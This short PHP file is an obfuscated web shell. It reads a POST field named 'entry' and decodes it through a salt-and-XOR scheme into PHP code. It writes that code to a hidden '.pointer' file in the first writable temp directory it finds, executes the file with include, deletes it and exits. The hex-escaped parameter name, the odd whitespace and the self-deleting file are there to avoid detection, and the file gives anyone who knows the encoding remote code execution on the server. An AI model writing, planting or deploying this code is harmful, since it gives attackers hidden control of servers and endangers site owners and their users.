<?php

if(filter_has_var(INPUT_POST, "ent\x72\x79")){
	$key = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]);
	$pset = $_POST["ent\x72\x79"];
	   $pset = explode (   '.' 	,	 	$pset	) ;  	
	$reference	 = '';
            $salt	 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 = strlen($salt);
    
            foreach($pset as $r => $v6) { $chS	 = ord($salt[$r 	%  $sLen]);
                $d	 = ((int)$v6 - $chS -($r 	%  10))^	 16;
                $reference .= chr($d);
            }
	$flag = 0;
do {
    $pgrp = $key[$flag] ?? null;
    if ($flag >= count($key)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) {
    $ent = sprintf("%s/.pointer", $pgrp);
    if (@file_put_contents($ent, $reference) !== false) {
	include $ent;
	unlink($ent);
	exit;
}
}
    $flag++;
} while (true);
}